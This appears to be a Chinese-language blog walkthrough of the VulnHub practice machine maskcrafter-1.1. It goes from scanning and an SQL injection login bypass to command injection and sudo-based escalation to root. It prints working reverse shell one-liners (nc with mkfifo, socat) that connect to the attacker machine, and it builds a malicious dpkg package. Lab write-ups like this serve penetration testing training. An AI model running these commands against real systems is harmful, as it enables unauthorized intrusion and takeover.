【VulnHub靶機滲透】九:maskcrafter-1.1

VulnHub是一個安全平臺,內含衆多滲透測試的靶場鏡像,只需要下載至本地並在虛擬機上運行,即可得到一個完整的滲透測試練習系統,每一個靶機都有目標去完成,大多是拿到root權限。

文章較臃長,記錄了不斷測試並完成目標的過程。


一、相關簡介

靶機:

該靶機設定敏感信息泄露、Web漏洞以及系統中sudo權限的不安全配置等漏洞。

  • 名稱:maskcrafter-1.1
  • 難度:初學者
  • 目標:root 權限

環境:

  • 靶機:maskcrafter-1.1——192,168.11.12
  • 攻擊機:Kali——192.168.11.11
  • 工具:Nmap、dirb、NetCat(nc)、BurpSuit、fpm等

流程:

  1. 信息蒐集
  2. Web站點滲透並得到 OS shell
  3. 逐用戶提權,最終拿到 root 權限

二、滲透步驟

1、信息蒐集

Nmap主機掃描,開放端口比較多
在這裏插入圖片描述
Web指紋識別,出現一個可疑郵箱
在這裏插入圖片描述
dirb Web目錄掃描,發現許多敏感路徑
在這裏插入圖片描述
經過掃描,大致得到有以下信息:

主機:

  • OS:Ubuntu
  • Web:Apache 2.4.29
  • 21端口:ftp vsftpd 2.0.8 or later
  • 22端口:ssh OpenSSH 7.6p1
  • 80端口:http Apache httpd 2.4.29
  • 111端口:RPC rpcbind 2-4
  • 2049端口:RPC nfs_acl 3

Web敏感路徑:

  • ./robots.txt
  • ./debug
  • ./login.php
  • ./phpmyadmin

2、漏洞發現

Ps:任意命令執行漏洞

查看robots,給出 debug 目錄
在這裏插入圖片描述
訪問ftp服務器,發現兩個可疑文件
在這裏插入圖片描述
壓縮文件是加密的,嘗試後沒有打開,NOTES.txt 內容如下:
在這裏插入圖片描述
1)請爲/debug Web目錄選擇一個更強的密碼。
用戶名爲“admin”已經是可以猜測的了,但是選擇字典密碼是一個大大的禁忌。

2)請重新檢查SQL代碼以防止SQL注入,因爲現在的方式是非常糟糕的。
基本上,我們希望並祈禱沒有黑客發現這件事。

根據文件內容基本可以知道,存在一個admin的用戶,而且密碼很簡單!再一個就是web站點可能存在SQL注入漏洞。

OK,訪問Web站點,是一個登錄框,爆破無果後,使用萬能密碼成功登入

admin
' or 1=1 #

在這裏插入圖片描述
提示如果發現漏洞就向 [email protected] 報告,給出了一個郵箱,再無其他信息,但是這個郵箱並沒有成功用來打開壓縮文件。

看一下debug路徑,是一個需要帳戶密碼的連接頁面,想到了之前的 NOTES.txt 提示,於是使用 admin admin成功進入系統
在這裏插入圖片描述
是一個選擇系統命令去執行的功能,自然想到任意命令執行漏洞,選擇ifconfig,提交併打開BP抓包
在這裏插入圖片描述
修改命令爲 cat /etc/passwd,成功執行
在這裏插入圖片描述

3、漏洞利用

3.1、建立反彈shell

存在任意命令執行漏洞,nc監聽,建立反彈shell

但是使用 nc 來反彈一直未成功,後來才發現靶機上轉的 nc 是沒有 -e參數的 OpenBSD netcat ,所以不能直接使用以下語句建立shell(奇怪的是直接使用bash來建立shell也不可以):

nc 192.168.11.11 9999 -e /bin/bash

經過查詢得知,可以使用以下語句來繞過 -e 參數

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f

原理如下:

mkfifo 命令首先創建了一個管道,cat 將管道里面的內容輸出傳遞給/bin/sh,sh會執行管道里的命令並將標準輸出和標準錯誤輸出結果通過nc 傳到該管道,由此形成了一個迴路

具體見以下博文:

OK,成功建立,使用python創建完整shell環境
在這裏插入圖片描述

3.2、逐步提權至其他用戶

1)提權至 userx 用戶

在查看權限以及SUID文件無線索後,在網站目錄下發現了一個 db.php 文件,懷疑是數據庫鏈接文件,打開果然是,有帳戶密碼
在這裏插入圖片描述
使用該賬戶成功登入網站的phpmyadmin後臺,在 mydatabases庫中發現了壓縮文件的密碼
在這裏插入圖片描述
還有兩個登錄帳戶密碼,經測試是主頁存在sql注入處的賬戶,沒有有用信息
在這裏插入圖片描述
使用得到的密碼解開壓縮文件,得到另一個密碼
在這裏插入圖片描述
之前cat /etc/passwd時發現系統有四個用戶:

  • userx:1000
  • researcherx:1001
  • evdaez:1002

外加一個root
在這裏插入圖片描述
根據 uid 以及查看用戶目錄的線索,懷疑是逐步提權
在這裏插入圖片描述
使用得到的密碼:thisismypasswordforuserx2020成功切換至 userx 用戶
在這裏插入圖片描述

2)提權至 evdaez 用戶

既然可以登錄,那麼就使用該賬戶來連接ssh服務吧,有自動補全,方便操作一些
在這裏插入圖片描述
查看sudo權限,發現了有一個 evdaez 用戶權限的 /scripts/whatsmyid.sh bash文件
在這裏插入圖片描述
但是該文件的所屬是當前用戶,那麼就可以對文件經行編輯,使其執行/bin/bash文件即可
在這裏插入圖片描述
使用 sudo -u evdaez /scripts/whatsmyid.sh 即可提權至 evdaez 用戶
在這裏插入圖片描述

3)提權至 researcherx 用戶

查看當前用戶下的 sudo 權限,果然發現了 researcherx 用戶權限文件
在這裏插入圖片描述
是一個 socat 的二進制文件

socat 是一個多功能的網絡工具,名字來由是“Socket CAT”,可以看作是netcat的加強版

https://gtfobins.github.io/ 上查一下相關提權命令,找到有反向shell的相關命令
在這裏插入圖片描述
使用以下命令成功提權至 researcherx 用戶

kali:socat file:`tty`,raw,echo=0 tcp-listen:12345

靶機:sudo -u researcherx socat tcp-connect:192.168.11.11:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane

在這裏插入圖片描述

4、權限提升

Ps:提權至 root 用戶

由於要保持完整的滲透步驟,所以將提權至 root 用戶單獨寫出來

查看當前 researcherx 用戶的sudo權限,發現了 dpkg 二進制文件
在這裏插入圖片描述
同樣查找相關提權命令,查到2個,如下
在這裏插入圖片描述
但是我在 kali 上測試第一種就可以,而在靶機的 shell 中第一種就不行, -l 參數並沒有逐行顯示,所以只能使用第二種打包木馬的方式。

先在kali上安裝 fpm,網頁中已經給出了 fpm 的 github 地址

FPM: 簡單的說就是將一種類型的包轉換成另外一種類型

在這裏插入圖片描述
但是直接下載github軟件包後,並沒有成功執行,所以乾脆按照網上的額方法,使用 gem 來安裝 fpm 程序,詳見以下博文:

因爲 kali 上已經有 ruby ,所以直接安裝 rubygems,步驟也稍有不同

具體步驟:
apt-get install rubygems
gem sources -a http://mirrors.aliyun.com/rubygems/
gem sources --remove https://rubygems.org/
gem install fpm

成功安裝 fpm
在這裏插入圖片描述
新建一個 bash 腳本文件並寫入文檔中的內容,賦予其執行權限

內容含義:
打包一個程序文件,讓它在 install 之前執行指定命令:exec /bin/bash ,由此就可以提權至其他用戶

在這裏插入圖片描述
運行 創建的 bash 文件即可生成木馬程序包
在這裏插入圖片描述
kali 本地使用 python 打開一個 http 服務器,監聽8800端口
在這裏插入圖片描述
通過wget將木馬程序下載到靶機
在這裏插入圖片描述
利用 sudo -u root dpkg -i 軟件包 即可提權至 root 權限
在這裏插入圖片描述
進入 root 目錄,拿到 flag
在這裏插入圖片描述

三、知識總結

整體步驟:

  • 利用 ftp 文件信息泄露得到 debug 相關帳戶信息
  • 登入 Web,發現任意命令執行漏洞,得到 OS Shell
  • 利用 sudo 權限配置不當,逐步提權至 root

知識點:

  • socat 反彈shell

    kali: socat file:tty,raw,echo=0 tcp-listen:12345
    靶機: sudo -u researcherx socat tcp-connect:192.168.11.11:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane

  • OpenBSD netcat 反彈shell

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章